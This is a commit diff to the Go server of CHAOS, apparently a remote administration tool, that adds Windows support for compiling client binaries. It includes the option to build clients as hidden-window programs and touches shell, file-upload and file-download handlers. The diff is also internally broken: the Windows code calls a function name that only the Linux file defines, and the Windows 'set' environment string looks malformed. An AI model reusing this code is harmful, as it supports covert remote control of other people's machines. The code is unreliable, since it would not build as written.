build client on windows

internal/constants.go

@@ -8,6 +8,6 @@ const (
 	TimeoutDuration   = time.Second * 30
 	TimeoutExceeded   = `Timeout exceeded.`
 	NoContent         = `No content.`
-	TempDirectory     = `temp/`
+	TempDirectory     = `temp`
 	DatabaseDirectory = `database`
 )

internal/utils/image/png.go

@@ -11,7 +11,7 @@ import (
 func WritePNG(content []byte) (string, error) {
 	filename := fmt.Sprint(uuid.New().String(), ".png")
 	file, err := os.OpenFile(
-		fmt.Sprint(internal.TempDirectory, filename),
+		fmt.Sprint(internal.TempDirectory, string(os.PathSeparator), filename),
 		os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
 		os.ModePerm,
 	)

presentation/http/handler.go

@@ -19,6 +19,7 @@ import (
 	"github.com/tiagorlampert/CHAOS/services/user"
 	"net/http"
 	"net/url"
+	"os"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -252,7 +253,7 @@ func (h *httpController) shellHandler(c *gin.Context) {
 
 func (h *httpController) downloadFileHandler(c *gin.Context) {
 	fileName := c.Param("filename")
-	targetPath := filepath.Join(internal.TempDirectory, fileName)
+	targetPath := filepath.Join(internal.TempDirectory, string(os.PathSeparator), fileName)
 	if !strings.HasPrefix(filepath.Clean(targetPath), internal.TempDirectory) {
 		c.String(403, "Forbidden")
 		return
@@ -324,7 +325,7 @@ func (h *httpController) uploadFileHandler(c *gin.Context) {
 		c.String(http.StatusBadRequest, err.Error())
 		return
 	}
-	if err := c.SaveUploadedFile(file, fmt.Sprint(internal.TempDirectory, file.Filename)); err != nil {
+	if err := c.SaveUploadedFile(file, fmt.Sprint(internal.TempDirectory, string(os.PathSeparator), file.Filename)); err != nil {
 		c.String(http.StatusInternalServerError, err.Error())
 		return
 	}

services/client/client_service.go

@@ -19,6 +19,7 @@ import (
 	"github.com/tiagorlampert/CHAOS/presentation/http/request"
 	authRepo "github.com/tiagorlampert/CHAOS/repositories/auth"
 	"github.com/tiagorlampert/CHAOS/services/auth"
+	syscallCmd "github.com/tiagorlampert/CHAOS/services/client/syscall_cmd"
 	"os"
 	"os/exec"
 	"strings"
@@ -31,7 +32,15 @@ const (
 	configFileName       = "config.json"
 	mainFileName         = "main.go"
 	clientConfigFilepath = "app/utils/config.go"
-	buildStr             = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -extldflags "-static"' -o ../../temp/%s main.go`
+	buildStr             = `go build -ldflags="%s -s -w -X 'main.Version=%s' -extldflags -static" -o ../../temp/%s main.go`
+)
+
+var (
+	envVarBuildMap = map[string]string{
+		"GO_ENABLED": "1",
+		"GOOS":       "%s",
+		"GOARCH":     "amd64",
+	}
 )
 
 type clientService struct {
@@ -160,9 +169,19 @@ func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error)
 	defer utils.RemoveDir(buildPath)
 
 	filename := buildFilename(input.OSTarget, input.GetFilename())
-	buildCmd := fmt.Sprintf(buildStr, getOSBuildParam(input.OSTarget), getRunHiddenBuildParam(input.RunHidden), c.AppVersion, filename)
+	buildCmd := fmt.Sprintf(getEnvVarBuild()+" "+buildStr, getOSBuildParam(input.OSTarget), getRunHiddenBuildParam(input.RunHidden), c.AppVersion, filename)
+
+	var cmd *exec.Cmd
+
+	switch system.DetectOS() {
+	case system.Windows:
+		cmd = exec.Command("cmd")
+		cmd.SysProcAttr = syscallCmd.GetCmdSyscall(buildCmd)
+		break
+	default:
+		cmd = exec.Command("sh", "-c", buildCmd)
+	}
 
-	cmd := exec.Command("sh", "-c", buildCmd)
 	cmd.Dir = buildPath
 
 	outputErr, err := cmd.CombinedOutput()
@@ -302,6 +321,30 @@ func getOSBuildParam(osType system.OSType) string {
 	}
 }
 
+func getEnvVarBuild() string {
+	const (
+		linuxEnvVarPrefixSeparator   = " "
+		linuxEnvVarSuffixSeparator   = " "
+		windowsEnvVarSuffixSeparator = " | "
+		windowsEnvVarPrefixSeparator = " set "
+	)
+
+	switch system.DetectOS() {
+	case system.Windows:
+		return MapKeysString(envVarBuildMap, windowsEnvVarPrefixSeparator, windowsEnvVarSuffixSeparator)
+	default:
+		return MapKeysString(envVarBuildMap, linuxEnvVarPrefixSeparator, linuxEnvVarSuffixSeparator)
+	}
+}
+
+func MapKeysString(m map[string]string, prefixSeparator string, suffixSeparator string) string {
+	keys := make([]string, 0, len(m))
+	for k, v := range m {
+		keys = append(keys, strings.ReplaceAll(fmt.Sprintf("%s %s=%s %s", prefixSeparator, k, v, suffixSeparator), "  ", " "))
+	}
+	return strings.Join(keys, "")
+}
+
 func getRunHiddenBuildParam(hidden bool) string {
 	if hidden {
 		return "-H=windowsgui"

services/client/syscall_cmd/syscall_darwin.go

@@ -0,0 +1,7 @@
+package syscall_cmd
+
+import "syscall"
+
+func GetSyscallCmdLine(cmd string) *syscall.SysProcAttr {
+	return &syscall.SysProcAttr{}
+}

services/client/syscall_cmd/syscall_linux.go

@@ -0,0 +1,7 @@
+package syscall_cmd
+
+import "syscall"
+
+func GetCmdSyscall(cmd string) *syscall.SysProcAttr {
+	return &syscall.SysProcAttr{}
+}

services/client/syscall_cmd/syscall_windows.go

@@ -0,0 +1,10 @@
+package syscall_cmd
+
+import (
+	"fmt"
+	"syscall"
+)
+
+func GetSyscallCmdLine(cmd string) *syscall.SysProcAttr {
+	return &syscall.SysProcAttr{CmdLine: fmt.Sprintf(`/c "%s"`, cmd)}
+}